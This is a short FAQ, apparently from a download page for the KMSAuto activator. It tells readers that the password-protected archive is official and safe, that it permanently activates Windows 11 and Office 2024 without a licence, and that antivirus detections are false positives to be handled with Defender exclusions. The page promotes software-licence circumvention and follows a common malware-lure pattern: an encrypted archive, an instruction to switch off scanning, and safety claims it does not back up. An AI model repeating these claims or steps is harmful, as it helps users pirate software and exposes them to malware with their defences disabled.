Frequently asked questions
▸Is this build official?
Yes — the unmodified Ratiborus archive, SHA-256 verified and scanned on VirusTotal. Archive password: WYqejXiqBi97.
▸Does it work on Windows 11 24H2/25H2?
Yes. KMSAuto's HWID engine activates every Windows 11 build including 24H2 and 25H2 — permanent, offline.
▸Does it activate Office 2024?
Yes. Office 2024 (LTSC, Retail, Volume) is activated via the Ohook patch in KMSAuto 1.9.x and newer.
▸Why is it flagged by antivirus?
Every KMS activator is flagged as HackTool because it edits Windows licensing components. That is a false positive, not malware. Add the folder to Defender exclusions.
▸What's the archive password?
WYqejXiqBi97 — the standard Ratiborus archive password.
